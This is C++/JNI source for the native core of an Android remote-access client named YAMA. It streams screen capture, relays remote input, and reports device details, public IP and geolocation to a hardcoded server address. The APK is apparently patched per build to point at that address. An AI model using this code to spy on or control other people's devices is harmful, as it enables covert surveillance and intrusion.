Frame f = std::move(m_queue.front());
m_queue.pop();
lk.unlock();
// 第一帧必须是关键帧
if (!m_firstSent && !f.isKeyframe) {
if (!m_skipLogged.exchange(true))
LOGI_SH("SendLoop: waiting for first IDR, skipping P-frames");
continue;
}
if (!m_firstSent)
LOGI_SH("SendH264 first IDR size=%u", (uint32_t)f.data.size());
SendH264(f.data.data(), (uint32_t)f.data.size());
m_firstSent = true;
}
}
// 格式: [TOKEN_NEXTSCREEN:1][ALGORITHM_H264:1][cursorX:4][cursorY:4][cursorType:1][NALU:N]
void SendH264(const uint8_t* nalu, uint32_t naluSize) {
const uint32_t hdrSize = 1 + 1 + 4 + 4 + 1;
std::vector<uint8_t> pkt(hdrSize + naluSize);
pkt[0] = TOKEN_NEXTSCREEN;
pkt[1] = ALGORITHM_H264;
// cursor: (0,0), type: IDC_ARROW=1
memset(&pkt[2], 0, 8);
pkt[10] = 1;
memcpy(&pkt[hdrSize], nalu, naluSize);
m_client->Send2Server((char*)pkt.data(), pkt.size());
}
};

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// android_compat.h - Android NDK 兼容垫片,通过 CMake force-include 注入每个源文件
// 不修改任何共用代码client/、common/
#pragma once
#ifdef __ANDROID__
#include <string.h>
#include <stdlib.h>
#ifdef __cplusplus
#include <cstring>
#include <cstdlib>
// strcpy_s(dest, src) — MSVC 2-arg 扩展Android NDK 无此签名
template<size_t N>
inline int strcpy_s(char (&dest)[N], const char* src) {
strncpy(dest, src ? src : "", N - 1);
dest[N - 1] = '\0';
return 0;
}
#endif // __cplusplus
// rand_s — Windows 安全随机数Android 用 arc4random 替代
#define rand_s(p) (*(p) = (unsigned int)arc4random(), 0)
#endif // __ANDROID__

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#include <jni.h>
#include <android/log.h>
#include <thread>
#include <chrono>
#include <atomic>
#include <mutex>
#include <set>
#include <string>
#include <cstring>
#include <cinttypes>
#include <cstdio>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include "common/commands.h"
#include "common/client_auth_state.h"
#include "common/rtt_estimator.h"
#include "client/IOCPClient.h"
#include "ScreenHandler.h"
#define XXH_INLINE_ALL
#include "common/xxhash.h"
#include "common/logger.h"
#define LOG_TAG "YAMA"
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
// 1 = 状态提示显示到电视屏幕0 = 只写 logcat不显示到屏幕
#define SCREEN_STATUS_ENABLED 0
extern "C" int signMessage_c(const char* pk, int pkLen, const unsigned char* msg,
int msgLen, char* buf, int bufSize);
// ---- 设备信息 helper登录时填充仅调用一次----
static int GetCpuCores() {
long n = sysconf(_SC_NPROCESSORS_ONLN);
return (n > 0) ? (int)n : 1;
}
static double GetMemoryGB() {
FILE* f = fopen("/proc/meminfo", "r");
if (!f) return 0.0;
char line[128];
unsigned long kb = 0;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "MemTotal: %lu kB", &kb) == 1) break;
}
fclose(f);
return kb / (1024.0 * 1024.0);
}
// 遍历 cpu0-cpu7取 cpuinfo_max_freq 最大值(大核频率)
static int GetCpuMHz() {
// 优先从 sysfs 读取(真机有效)
unsigned long maxKhz = 0;
char path[80];
for (int i = 0; i < 8; i++) {
snprintf(path, sizeof(path),
"/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", i);
FILE* f = fopen(path, "r");
if (!f) continue;
unsigned long khz = 0;
if (fscanf(f, "%lu", &khz) == 1 && khz > maxKhz) maxKhz = khz;
fclose(f);
}
if (maxKhz > 0) return (int)(maxKhz / 1000);
// 回退:解析 /proc/cpuinfo 中的 "BogoMIPS"(模拟器可用)
FILE* f = fopen("/proc/cpuinfo", "r");
if (!f) return 0;
char line[128];
double bogomips = 0;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "BogoMIPS : %lf", &bogomips) == 1 ||
sscanf(line, "bogomips : %lf", &bogomips) == 1) break;
}
fclose(f);
return bogomips > 0 ? (int)bogomips : 0;
}
static long GetFileSize(const std::string& path) {
if (path.empty()) return 0;
struct stat st;
return (stat(path.c_str(), &st) == 0) ? (long)st.st_size : 0;
}
static std::string FormatFileSize(long bytes) {
char buf[32];
if (bytes >= 1024 * 1024)
snprintf(buf, sizeof(buf), "%.1fM", bytes / (1024.0 * 1024.0));
else if (bytes >= 1024)
snprintf(buf, sizeof(buf), "%.1fK", bytes / 1024.0);
else
snprintf(buf, sizeof(buf), "%ldB", bytes);
return buf;
}
// 从 JSON 字符串中提取字符串字段值
static std::string JsonGetStr(const std::string& json, const char* key) {
std::string needle = std::string("\"") + key + "\":";
auto pos = json.find(needle);
if (pos == std::string::npos) return "";
pos += needle.size();
while (pos < json.size() && json[pos] == ' ') pos++;
if (pos >= json.size() || json[pos] != '"') return "";
pos++;
auto end = json.find('"', pos);
return (end == std::string::npos) ? "" : json.substr(pos, end - pos);
}
// 查询 ip-api.com一次请求同时获取公网 IP 和地理位置(与 Windows 客户端同源)
// 在连接线程中同步调用,超时 3 秒
struct GeoResult {
std::string pubIp, location;
std::atomic<bool> ready{false};
};
static void FetchGeoInfoImpl(std::shared_ptr<GeoResult> out) {
struct addrinfo hints = {}, *res = nullptr;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo("ip-api.com", "80", &hints, &res) != 0 || !res) {
out->ready.store(true, std::memory_order_release); return;
}
int fd = ::socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) { freeaddrinfo(res); out->ready.store(true, std::memory_order_release); return; }
struct timeval tv = {3, 0};
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
connect(fd, res->ai_addr, res->ai_addrlen);
fd_set wfds; FD_ZERO(&wfds); FD_SET(fd, &wfds);
bool connected = (select(fd + 1, nullptr, &wfds, nullptr, &tv) == 1);
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) & ~O_NONBLOCK);
if (connected) {
const char* req = "GET /json/?fields=status,query,country,city HTTP/1.0\r\n"
"Host: ip-api.com\r\n"
"Connection: close\r\n\r\n";
send(fd, req, strlen(req), 0);
std::string resp;
char buf[512];
ssize_t n;
while ((n = recv(fd, buf, sizeof(buf), 0)) > 0) resp.append(buf, (size_t)n);
auto sep = resp.find("\r\n\r\n");
if (sep != std::string::npos) {
const std::string body = resp.substr(sep + 4);
if (JsonGetStr(body, "status") == "success") {
out->pubIp = JsonGetStr(body, "query");
std::string city = JsonGetStr(body, "city");
std::string country = JsonGetStr(body, "country");
if (!city.empty() && !country.empty()) out->location = city + ", " + country;
else if (!country.empty()) out->location = country;
else if (!city.empty()) out->location = city;
}
}
}
close(fd);
freeaddrinfo(res);
out->ready.store(true, std::memory_order_release);
}
// getaddrinfo 在某些设备上会永久阻塞,用独立线程 + 5 秒轮询超时保护 ConnectionThread
static bool FetchGeoInfo(std::string& pubIp, std::string& location) {
pubIp.clear(); location.clear();
auto result = std::make_shared<GeoResult>();
std::thread(FetchGeoInfoImpl, result).detach();
for (int i = 0; i < 50 && !result->ready.load(std::memory_order_acquire); i++)
usleep(100000); // 100ms × 50 = 5 秒
if (!result->ready.load(std::memory_order_acquire)) return false;
pubIp = result->pubIp;
location = result->location;
return !pubIp.empty();
}
// 服务端通过 FLAG_GHOST"Hello, World!"定位此变量patch szServerIP/szPort 后重签 APK
// 偏移szServerIP at +32, szPort at +132见 commands.h CONNECT_ADDRESS 定义)
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_ANDROID };
// ---- 全局状态 ----
// CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器;
// IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile
// 直接用 StateARM 4 字节对齐写入硬件层面原子,实际安全。
State g_bExit{S_CLIENT_NORMAL};
uint64_t g_myClientID = 0; // sub_conn_thread.h 需要的外部符号
static std::atomic<bool> g_running{false};
static std::atomic<uint64_t> g_lastHeartbeatAckMs{0};
// ---- JNI 反向调用DataProcess → ControlService / CaptureService----
static JavaVM* g_jvm = nullptr;
static jclass g_ctrlClass = nullptr;
static jmethodID g_ctrlMethod = nullptr;
static jmethodID g_getActiveWindowMid = nullptr;
// CaptureService.requestIdr() / forceFirstFrame() — ScreenSpyThread 子连接建立后触发
static jclass g_captureClass = nullptr;
static jmethodID g_requestIdrMid = nullptr;
static jmethodID g_forceFirstFrameMid = nullptr;
static jmethodID g_statusMid = nullptr; // CaptureService.onNativeStatus(String)
static jmethodID g_nativeExitMid = nullptr; // CaptureService.onNativeExit() — 服务端主动断开时停止服务
// 心跳日志限流:每 60 秒最多打一次
static std::atomic<uint64_t> g_lastHbLogMs{0};
static constexpr uint64_t HB_LOG_INTERVAL_MS = 60000;
// 供主连接和子连接共同调用:把 COMMAND_SCREEN_CONTROL 路由到 ControlService.onControlEvent()
// 定义在全局函数区ScreenHandler.h 通过 extern 声明使用。
void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY)
{
if (!g_jvm || !g_ctrlClass || !g_ctrlMethod) {
LOGE("SCREEN_CONTROL: JNI not ready (ctrl=%p method=%p)", g_ctrlClass, g_ctrlMethod);
return;
}
if (msgVal != 0x200u)
LOGI("SCREEN_CONTROL: msg=0x%X pt=(%d,%d)", msgVal, ptX, ptY);
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
// CPP-03 fix: 检查 AttachCurrentThread 返回值,失败时 jenv 仍为 null
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
attached = true;
} else if (st != JNI_OK || !jenv) {
return;
}
jenv->CallStaticVoidMethod(g_ctrlClass, g_ctrlMethod,
(jint)msgVal, (jlong)wParam, (jint)ptX, (jint)ptY);
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
}
static std::string GetActiveWindowFromJava()
{
if (!g_jvm || !g_ctrlClass || !g_getActiveWindowMid) return "Android";
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return "Android";
attached = true;
} else if (st != JNI_OK || !jenv) {
return "Android";
}
jstring js = (jstring)jenv->CallStaticObjectMethod(g_ctrlClass, g_getActiveWindowMid);
std::string result = "Android";
if (js && !jenv->ExceptionOccurred()) {
const char* c = jenv->GetStringUTFChars(js, nullptr);
if (c) { result = c; jenv->ReleaseStringUTFChars(js, c); }
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
return result;
}
// 服务器连接参数
static std::string g_serverIp;
static int g_serverPort = 443;
// 设备信息nativeInit 传入)
static std::string g_androidId;
static std::string g_deviceModel;
static std::string g_androidVersion;
static std::string g_screenRes;
static std::string g_username;
static std::string g_apkPath;
static std::string g_filesDir; // context.filesDir无需权限用于持久化分组名
static void SaveGroupName() {
if (g_filesDir.empty()) return;
std::string path = g_filesDir + "/yama_group";
FILE* f = fopen(path.c_str(), "w");
if (!f) { LOGI("SaveGroupName: cannot open %s", path.c_str()); return; }
fputs(g_SETTINGS.szGroupName, f);
fclose(f);
LOGI("Group saved: %s", g_SETTINGS.szGroupName);
}
static void LoadGroupName() {
if (g_filesDir.empty()) return;
std::string path = g_filesDir + "/yama_group";
FILE* f = fopen(path.c_str(), "r");
if (!f) return;
char buf[24] = {};
if (fgets(buf, sizeof(buf), f)) {
size_t len = strlen(buf);
while (len > 0 && (buf[len - 1] == '\n' || buf[len - 1] == '\r')) buf[--len] = '\0';
if (len > 0) {
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, buf, sizeof(g_SETTINGS.szGroupName) - 1);
LOGI("Group loaded from file: %s", buf);
}
}
fclose(f);
}
// 屏幕尺寸Java 侧 MediaCodec 配置后通过 nativeSetScreenSize 设置)
// 初始化为 0ScreenSpyThread 等到非零后再读,避免在 nativeSetScreenSize 之前
// 拿到默认值 1280×720 发给服务端导致 decoder 尺寸错误黑屏。
static std::atomic<int> g_screenWidth{0};
static std::atomic<int> g_screenHeight{0};
// 活跃子连接的 handler 集合(受 g_shMutex 保护);支持多个浏览者/控制者同时连接
static std::set<AndroidScreenHandler*> g_screenHandlers;
static std::mutex g_shMutex;
// ------------------------------------------------------------------ 屏幕子连接线程
// 通过 JNI 调用 CaptureService 的静态方法,复用同一套 attach/detach 模板。
static void CallCaptureStaticVoid(jmethodID mid)
{
if (!g_jvm || !g_captureClass || !mid) return;
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
attached = true;
} else if (st != JNI_OK || !jenv) {
return;
}
jenv->CallStaticVoidMethod(g_captureClass, mid);
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
}
// 触发编码器输出关键帧setParameters REQUEST_SYNC_FRAME
static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid); }
// 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化)
static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); }
// 向 CaptureService.onNativeStatus() 发送状态 Toast连接线程诊断用
static void PostStatus(const char* msg) {
LOGI("STATUS: %s", msg);
#if SCREEN_STATUS_ENABLED
if (!g_jvm || !g_captureClass || !g_statusMid) return;
JNIEnv* jenv = nullptr;
bool attached = false;
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
g_jvm->AttachCurrentThread(&jenv, nullptr);
attached = true;
}
if (jenv) {
jstring js = jenv->NewStringUTF(msg);
if (js) {
jenv->CallStaticVoidMethod(g_captureClass, g_statusMid, js);
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
}
if (attached) g_jvm->DetachCurrentThread();
#endif
}
static void ScreenSpyThread()
{
// 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。
// 若在此之前读到默认值 0SendBitmapInfo 会发错误尺寸给服务端,
// 导致浏览器 initDecoder 尺寸与 H.264 SPS 不一致 → decode error → 黑屏。
for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i)
Sleep(50); // 最多等 5 秒
int w = g_screenWidth.load();
int h = g_screenHeight.load();
if (w == 0 || h == 0) {
LOGE("ScreenSpyThread: screen size not set after 5s, abort");
return;
}
LOGI("ScreenSpyThread start → %s:%d size=%dx%d", g_serverIp.c_str(), g_serverPort, w, h);
// 服务端只发一次 COMMAND_SCREEN_SPY 就等子连接,子连接失败必须自己重试
for (int attempt = 1; attempt <= 20 && S_CLIENT_NORMAL == g_bExit && g_running.load(); ++attempt) {
// 声明在 try 外部,确保 catch 中 handler 仍有效,可安全从 g_screenHandlers 移除
std::unique_ptr<IOCPClient> client;
std::unique_ptr<AndroidScreenHandler> handler;
try {
LOGI("SST[%d]: creating IOCPClient", attempt);
client = std::make_unique<IOCPClient>(g_bExit, true);
client->EnableSubConnAuth(true, g_myClientID);
LOGI("SST[%d]: connecting %s:%d", attempt, g_serverIp.c_str(), g_serverPort);
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
LOGI("ScreenSpyThread: connect failed (attempt %d/20), retry 2s", attempt);
Sleep(2000);
continue;
}
LOGI("SST[%d]: connected, creating handler w=%d h=%d", attempt, w, h);
handler = std::make_unique<AndroidScreenHandler>(client.get(), w, h);
LOGI("SST[%d]: handler created, inserting to set", attempt);
{
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.insert(handler.get());
}
LOGI("SST[%d]: setManagerCallBack", attempt);
client->setManagerCallBack(handler.get(),
IOCPManager::DataProcess,
IOCPManager::ReconnectProcess);
LOGI("SST[%d]: SendBitmapInfo", attempt);
handler->SendBitmapInfo();
LOGI("SST[%d]: ForceFirstFrame", attempt);
ForceFirstFrameFromJava();
LOGI("SST[%d]: RequestIdr", attempt);
RequestIdrFromJava();
LOGI("SST[%d]: entering wait loop", attempt);
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(200);
client->setManagerCallBack(nullptr, nullptr, nullptr);
{
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.erase(handler.get());
}
} catch (const std::exception& e) {
LOGE("ScreenSpyThread exception (attempt %d): %s", attempt, e.what());
// 先清除回调,再析构 handler防止 client 在 handler 析构后仍持有其指针
if (client) client->setManagerCallBack(nullptr, nullptr, nullptr);
if (handler) {
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.erase(handler.get());
}
Sleep(2000);
continue;
}
break; // 正常结束,不再重试
}
LOGI("ScreenSpyThread exit");
}
// ------------------------------------------------------------------ DataProcess
int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
{
if (!szBuffer || !ulLength) return TRUE;
int allowed = (int)ClientAuth::IsCommandAllowed(szBuffer[0]);
if (!allowed) {
LOGI("DataProcess cmd=%d len=%lu allowed=%d",
(int)(unsigned char)szBuffer[0], (unsigned long)ulLength, allowed);
return TRUE;
}
switch (szBuffer[0]) {
case COMMAND_BYE:
PostStatus("BYE from server");
g_bExit = S_CLIENT_EXIT;
break;
case CMD_HEARTBEAT_ACK:
if (ulLength >= 1 + (ULONG)sizeof(HeartbeatACK)) {
HeartbeatACK ack;
memcpy(&ack, szBuffer + 1, sizeof(HeartbeatACK));
uint64_t now = GetUnixMs();
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed);
int64_t rtt = (int64_t)now - (int64_t)ack.Time;
if (ack.ProcessingMs > 0 && (int64_t)ack.ProcessingMs < rtt)
rtt -= ack.ProcessingMs;
g_rttEstimator.update_from_sample((double)rtt);
if (now - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
g_lastHbLogMs.store(now, std::memory_order_relaxed);
LOGI("HeartbeatACK RTT=%" PRId64 "ms SRTT=%.1fms", rtt, g_rttEstimator.srtt * 1000.0);
}
}
break;
case CMD_MASTERSETTING: {
MasterSettings settings;
if (ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
if (settings.ReportInterval > 0)
g_heartbeatInterval = std::max(settings.ReportInterval, 30);
LOGI("MasterSettings OK interval=%ds (server=%d)", g_heartbeatInterval, settings.ReportInterval);
PostStatus("masterSettings: OK");
} else {
PostStatus("masterSettings: FAIL");
}
break;
}
case COMMAND_SCREEN_SPY: {
// 每个 COMMAND_SCREEN_SPY 对应一个独立子连接,支持多人同时观看/控制
size_t active;
{ std::lock_guard<std::mutex> lk(g_shMutex); active = g_screenHandlers.size(); }
LOGI("cmd: COMMAND_SCREEN_SPY len=%lu active=%zu w=%d h=%d",
(unsigned long)ulLength, active, g_screenWidth.load(), g_screenHeight.load());
std::thread(ScreenSpyThread).detach();
break;
}
case COMMAND_SCREEN_CONTROL: {
if (ulLength < 1 + 48u) { LOGI("SCREEN_CONTROL(main): too short %u", ulLength); break; }
const uint8_t* p = szBuffer + 1;
uint64_t msgVal = 0, wParam = 0, lParam = 0;
memcpy(&msgVal, p + 8, 8);
memcpy(&wParam, p + 16, 8);
memcpy(&lParam, p + 24, 8);
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
break;
}
case CMD_SET_GROUP: {
std::string grp;
if (ulLength > 1) {
grp.assign((const char*)szBuffer + 1, ulLength - 1);
auto z = grp.find('\0');
if (z != std::string::npos) grp.resize(z);
}
{
std::lock_guard<std::mutex> lk(g_shMutex);
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, grp.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
}
SaveGroupName();
LOGI("Group changed to: %s", grp.c_str());
break;
}
case COMMAND_SHELL:
LOGI("COMMAND_SHELL (not implemented)");
break;
case COMMAND_SYSTEM:
LOGI("COMMAND_SYSTEM (not implemented)");
break;
default:
LOGI("cmd: unhandled cmd=%d len=%lu", (int)szBuffer[0], (unsigned long)ulLength);
break;
}
return TRUE;
}
// ------------------------------------------------------------------ 网络主线程
static void ConnectionThread()
{
LOGI("ConnectionThread → %s:%d", g_serverIp.c_str(), g_serverPort);
PostStatus("geo: fetching...");
std::string g_pubIp, g_location;
FetchGeoInfo(g_pubIp, g_location);
PostStatus(("geo: " + (g_pubIp.empty() ? "failed" : g_pubIp)).c_str());
LOGIN_INFOR logInfo;
{
std::string pcName = g_deviceModel;
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
}
strncpy(logInfo.OsVerInfoEx, g_androidVersion.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
logInfo.dwCPUMHz = GetCpuMHz();
logInfo.bWebCamIsExist = 0;
g_myClientID = XXH64(g_androidId.c_str(), g_androidId.size(), 0);
logInfo.AddReserved("APK");
logInfo.AddReserved(64); // OS bits
logInfo.AddReserved(GetCpuCores()); // CPU 核数
logInfo.AddReserved(GetMemoryGB()); // 内存 GB
logInfo.AddReserved(g_apkPath.empty() ? "/data/app/com.yama.client"
: g_apkPath.c_str()); // 文件路径
logInfo.AddReserved("?");
logInfo.AddReserved(logInfo.szStartTime);
logInfo.AddReserved("?");
logInfo.AddReserved(64); // 程序位数
logInfo.AddReserved("");
logInfo.AddReserved(g_location.c_str()); // [10] 地理位置
logInfo.AddReserved(g_pubIp.c_str()); // [11] 公网 IP
logInfo.AddReserved("v1.0.0");
logInfo.AddReserved(g_username.c_str());
logInfo.AddReserved(0); // IsRunningAsAdmin
logInfo.AddReserved(g_screenRes.c_str());
logInfo.AddReserved(std::to_string(g_myClientID).c_str());
logInfo.AddReserved((int)getpid()); // PID
logInfo.AddReserved(FormatFileSize(GetFileSize(g_apkPath)).c_str()); // 文件大小
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
LOGI("ClientID=%" PRIu64, g_myClientID);
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, false));
client->setManagerCallBack(nullptr, DataProcess, nullptr);
int g_connAttempt = 0;
while (S_CLIENT_NORMAL == g_bExit && g_running.load()) {
char connMsg[64];
snprintf(connMsg, sizeof(connMsg), "connect #%d → %s:%d",
++g_connAttempt, g_serverIp.c_str(), g_serverPort);
PostStatus(connMsg);
clock_t c = clock();
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
snprintf(connMsg, sizeof(connMsg), "connect #%d failed errno=%d", g_connAttempt, errno);
PostStatus(connMsg);
Sleep(5000);
continue;
}
PostStatus("connected! sending login...");
ClientAuth::OnNewConnection();
{
std::lock_guard<std::mutex> lk(g_shMutex);
std::string pcName = g_deviceModel;
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
}
client->SendLoginInfo(logInfo.Speed(clock() - c));
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
LOGI("Connected & login sent");
while (client->IsRunning() && client->IsConnected()
&& S_CLIENT_NORMAL == g_bExit && g_running.load())
{
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!client->IsRunning() || !client->IsConnected()
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) {
char dbg[96];
snprintf(dbg, sizeof(dbg), "drop@%ds run=%d conn=%d exit=%d run2=%d",
i, (int)client->IsRunning(), (int)client->IsConnected(),
(int)(g_bExit == S_CLIENT_NORMAL), (int)g_running.load());
PostStatus(dbg);
break;
}
Sleep(1000);
}
if (!client->IsRunning() || !client->IsConnected()
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) break;
if (ClientAuth::IsTimedOut()) {
PostStatus("timeout: masterSettings");
continue;
}
{
int ackTO = (interval * 3 > 60) ? interval * 3 : 60;
uint64_t last = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
uint64_t now = GetUnixMs();
if (last > 0 && now > last && now - last > (uint64_t)ackTO * 1000ULL) {
PostStatus("timeout: ACK");
continue;
}
}
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000.0);
std::string aw = GetActiveWindowFromJava();
strncpy(hb.ActiveWnd, aw.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
client->Send2Server((char*)buf, sizeof(buf));
{
uint64_t now2 = GetUnixMs();
if (now2 - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
// ACK 分支会更新 g_lastHbLogMs这里仅在没有 ACK 时兜底打印
LOGI("Heartbeat Ping=%dms", hb.Ping);
}
}
}
PostStatus("disconnected, retry...");
// Give server 2 s to remove old context from HostList; without this
// the immediate reconnect hits "already exists" and server skips SendMasterSettings.
std::this_thread::sleep_for(std::chrono::seconds(2));
}
g_running.store(false);
LOGI("ConnectionThread exit");
if (g_bExit == S_CLIENT_EXIT && g_jvm && g_captureClass && g_nativeExitMid) {
JNIEnv* jenv = nullptr;
bool attached = false;
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
g_jvm->AttachCurrentThread(&jenv, nullptr);
attached = true;
}
if (jenv) {
jenv->CallStaticVoidMethod(g_captureClass, g_nativeExitMid);
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
}
if (attached) g_jvm->DetachCurrentThread();
}
}
// ------------------------------------------------------------------ JNI
extern "C" {
JNIEXPORT jint JNICALL
Java_com_yama_client_YamaBridge_nativeInit(
JNIEnv* env, jobject,
jstring serverIp, jint serverPort,
jstring androidId, jstring deviceModel,
jstring androidVersion, jstring screenRes,
jstring username, jstring apkPath, jstring filesDir)
{
// CPP-01 fix: CAS 原子地完成"检查+设置",消除 check-then-act 竞争
bool expected = false;
if (!g_running.compare_exchange_strong(expected, true)) {
LOGI("already running"); return -1;
}
auto toStr = [&](jstring js) -> std::string {
if (!js) return "";
const char* c = env->GetStringUTFChars(js, nullptr);
std::string s = c ? c : "";
env->ReleaseStringUTFChars(js, c);
return s;
};
g_serverIp = g_SETTINGS.ServerIP();
g_serverPort = g_SETTINGS.ServerPort();
g_androidId = toStr(androidId);
g_deviceModel = toStr(deviceModel);
g_androidVersion = toStr(androidVersion);
g_screenRes = toStr(screenRes);
g_username = toStr(username);
g_apkPath = toStr(apkPath);
g_filesDir = toStr(filesDir);
LoadGroupName(); // 若文件存在则覆盖 g_SETTINGS.szGroupName优先级高于编译时 patch
// 缓存 JVM 和 Class/Method 引用。必须在 Java 线程nativeInit 调用栈)
// 里做 FindClass否则 AttachCurrentThread 的后台线程只有系统 ClassLoader
// 找不到 App 类GetStaticMethodID 拿到 null 导致后续调用崩溃。
if (g_jvm == nullptr) {
if (env->GetJavaVM(&g_jvm) == JNI_OK) {
jclass cls = env->FindClass("com/yama/client/ControlService");
if (cls) {
g_ctrlClass = (jclass)env->NewGlobalRef(cls);
g_ctrlMethod = env->GetStaticMethodID(g_ctrlClass, "onControlEvent", "(IJII)V");
if (!g_ctrlMethod) LOGE("ControlService.onControlEvent not found");
g_getActiveWindowMid = env->GetStaticMethodID(g_ctrlClass, "getActiveWindow", "()Ljava/lang/String;");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_getActiveWindowMid = nullptr; }
if (!g_getActiveWindowMid) LOGE("ControlService.getActiveWindow not found");
} else {
LOGE("ControlService class not found");
}
jclass capCls = env->FindClass("com/yama/client/CaptureService");
if (env->ExceptionCheck()) { env->ExceptionClear(); capCls = nullptr; }
if (capCls) {
g_captureClass = (jclass)env->NewGlobalRef(capCls);
g_requestIdrMid = env->GetStaticMethodID(g_captureClass, "requestIdr", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestIdrMid = nullptr; }
if (!g_requestIdrMid) LOGE("CaptureService.requestIdr not found");
// GetStaticMethodID 找不到方法时会挂起 JNI 异常;必须清除,
// 否则 nativeInit 返回时 Java 层会抛出 NoSuchMethodError 崩溃。
g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; }
if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found");
g_statusMid = env->GetStaticMethodID(g_captureClass, "onNativeStatus", "(Ljava/lang/String;)V");
